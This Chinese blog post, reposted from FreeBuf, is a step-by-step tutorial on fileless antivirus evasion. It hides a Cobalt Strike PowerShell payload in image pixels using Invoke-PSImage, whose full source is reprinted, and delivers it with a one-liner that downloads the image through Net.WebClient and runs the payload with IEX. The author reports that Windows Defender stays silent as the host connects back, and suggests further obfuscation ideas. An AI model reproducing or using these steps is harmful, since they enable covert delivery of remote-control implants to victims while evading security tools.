无文件落地免杀的初尝试思考(上)

环境

 1.WIN7 x64位,Powshell

2.CS

0X01 技术验证

准备条件

一张大于等于1920*1200的图片(因为要把payload代码插入图片中,像素小了不够存放)

cobalt Strike渗透工具(版本要求不大)

Invoke-psimage脚本(这是这次免杀的关键,我们稍后分析)

payload的生成

第一步:使用CS生成.psl的payload

 

利用脚本进行免杀

我们可以通过git命令,将脚本下载下来git clone https://github.com/AV1080p/Invoke-PSImage.git;然后将CS生成.psl的payload,放入Invoke-psimage这个脚本的文件夹中即可

 

紧接着在Invoke-psimage的文件夹中,打开powershell,输入以下两条命令:

Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\123.jpg -Out 456.jpg -Web

这里会生成一段payload代码,我们将这段代码,复制到一个.txt文本文件中,我们观察该文件发现;通过.OpenRead(http://xxxxxx)我们可以知道,应该修改该内容,使得cs可以远程控制它

小提示:在windows环境下配置,我这里因为某些原因是在靶机上配置而成(因为是小白教程,所以考虑大家都是第一次通过powershell配置脚本,大概率会出现下面报错)

PS C:\Users\yuu\Desktop\Invoke-PSImage>Import-Module . \Invoke-PSImage.ps1
PS C:\Users\yuu\Desktop\Invoke-PSImage>Invoke-PSImage -Script . Jpayioad.ps1 -Image . \123. jpg -Out 456.jgWeb

 

如果出现报错;可以使用powershell管理员打开,后输入set-executionpolicy remotesigned,等待片刻选择Y即可

payload与cs联动

我们把456.jpg图片放入CS中,后打开Host File模块进行链接的制作

最后我们可以看见,联动的链接已经生成;我们把它放入.txt文本文件中代替原来的链接,并保存

免杀验证

我们将.txt里面的payload放入powershell中运行,我们通过CS可以发现主机上线,且def没有警告

 

 

0X02 Invoke-PSImage.ps1脚本的技术分析

我们把该脚本复制下来,进行分析,看看它使用了哪些方法,以及未来我们可以怎么修改它...以达到不会被更新的杀毒软件查杀的效果。接下来我们把脚本分成两个部分进行解读,第一部分是作者的解释,第二部分是免杀代码,第一部分是教学,即如何使用脚本,并说明脚本原理

function Invoke-PSImage
{
<#
.SYNOPSIS(概要)

在图像中嵌入 PowerShell 脚本并生成 oneliner 来执行它
作者:Barrett Adams(@peewpw)

.DESCRIPTION(描述)
该工具既可以仅使用目标数据创建图像,也可以将有效负载嵌入现有图像。嵌入时2个颜色值(RGB的2个)的最低有效4位每个像素(有效载荷所需的像素数)。图像质量将受到影响结果,但它看起来仍然不错。图像保存为PNG,并且可以无损压缩而不影响执行有效载荷的能力,因为数据存储在给自己上色。它可以接受大多数图像类型作为输入,但输出始终是PNG因为它需要是无损的

.PARAMETER Script(参数脚本)
要嵌入到图像中的脚本的路径。

.PARAMETER Out(参数输出)
将生成的图像保存到的文件(图像会是PNG)

.PARAMETER Image(参数图像)
嵌入脚本的图像(可选)

.PARAMETER WebRequest(参数 WebRequest)
使用 Net.WebClient 输出用于从 Web 读取图像的命令;将需要托管图像并将 URL 插入命令中

.EXAMPLER PictureBox(参数图片框)
使用System.Windows.Forms.PictureBox输出用于从Web读取图像的命令;您将需要托管图像并将URL插入命令中

.EXAMPLE(事列)
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg 
[从文件执行的 Oneliner]
#>

接下来看第二部分代码,分析里面的免杀技巧

[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Script,

[Parameter(Position = 1, Mandatory = $True)]
[String]
$Out,

[Parameter(Position = 2, Mandatory = $False)]
[String]
$Image,

[switch] $WebClient,

[switch] $PictureBox
)
#如果我们遇到错误就停止而不是犯更多错误
$ErrorActionPreference = "Stop"

#加载一些程序集
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")

#规范化路径,因为 powershell 有时对它们不好
if (-Not [System.IO.Path]::IsPathRooted($Script)){
$Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Out)){
$Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out))
}

$testurl = "http://example.com/" + [System.IO.Path]::GetFileName($Out)

#读脚本
$ScriptBlockString = [IO.File]::ReadAllText($Script)
$in = [ScriptBlock]::Create($ScriptBlockString)
$payload = [system.Text.Encoding]::ASCII.GetBytes($in)

if ($Image) {
#规范化路径
if (-Not [System.IO.Path]::IsPathRooted($Image)){
$Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image))
}

#将读人的图像放入"位图"
$img = New-Object System.Drawing.Bitmap($Image)

$width = $img.Size.Width
$height = $img.Size.Height

#将位图锁定在内存中,以便可以通过编程方式对其进行更改
$rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
$bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
$ptr = $bmpData.Scan0

#将RGB值复制到数组中以便于修改
$bytes  = [Math]::Abs($bmpData.Stride) * $img.Height
$rgbValues = New-Object byte[] $bytes;
[System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);

#检查有效载荷是否适合图像 
if($bytes/2 -lt $payload.Length) {
Write-Error "Image not large enough to contain payload!"
$img.UnlockBits($bmpData)
$img.Dispose()
Break
}

#生成一个随机字符串用于填充图片中的其他像素信息
# (每次调用get-random太慢了)
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

#循环遍历RGB数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = [math]::Floor($payload[$counter]/16)
$paybyte2 = ($payload[$counter] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
} else {
$paybyte1 = ($randb[$counter%113] -band 0x0f)
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
}
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
}

#将RGB值数组复制回位图
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
$img.UnlockBits($bmpData)

#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()

#得到一堆我们需要在oneliner中使用的数字
$rows = [math]::Ceiling($payload.Length/$width)
$array = ($rows*$width)
$lrows = ($rows-1)
$lwidth = ($width-1)
$lpayload = ($payload.Length-1)

if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}

return $pscmd

} else {
# 决定我们的图像需要多大(为了方便数学,总是正方形)
$side = ([int] ([math]::ceiling([math]::Sqrt([math]::ceiling($payload.Length / 3)) + 3) / 4)) * 4

# 决定我们的图像需要多大(为了方便数学,总是正方形)
$rgbValues = New-Object byte[] ($side * $side * 3);
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

#循环遍历 RGB 数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length); $counter++) {
if ($counter -lt $payload.Length){
$rgbValues[$counter] = $payload[$counter]
} else {
$rgbValues[$counter] = $randb[$counter%113]
}
}

#将RGB值数组复制回位图
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($rgbValues.Length)
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $rgbValues.Length)
$img = New-Object System.Drawing.Bitmap($side, $side, ($side*3), [System.Drawing.Imaging.PixelFormat]::Format24bppRgb, $ptr)

#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr);

#得到一堆我们需要在oneliner中使用的数字
$array = ($side*$side)*3
$lrows = ($side-1)
$lwidth = ($side-1)
$width = ($side)
$lpayload = ($payload.Length-1)

if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}

return $pscmd
}

关于如何调用函数,调用了那些函数,函数的调用方式及可替代函数这部分,个人能力有限,等一段时间沉淀后会更新《无文件落地免杀的初尝试思考(下)》,希望不会让大家等太久。

0X03文章总结

我们通过Barrett Adams师傅GitHub里面的代码分析,我们发现免杀的本质还是加密与混淆;我们通过底层函数的调用与"位图"的RNG隐藏躲避了def检测,那我们把这个数据流在进行Base64加密后执行呢?我们把这个数字流通过”+“或者函数拼接呢?又或者我们改用其他不那么敏感的函数调用呢?或者用音频或者视频隐写呢?

最后,感谢大家的观阅,本文是根据格林师傅在B站上的教学视频,有感而发写成;因为笔者也是初次尝试无文件落地免杀,所以难免有一些疏漏。如果存在问题,欢迎大家在评论区指正。


作者:面包and牛奶 ,文章转载于FreeBuf.COM

如有侵权,联系作者删除。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值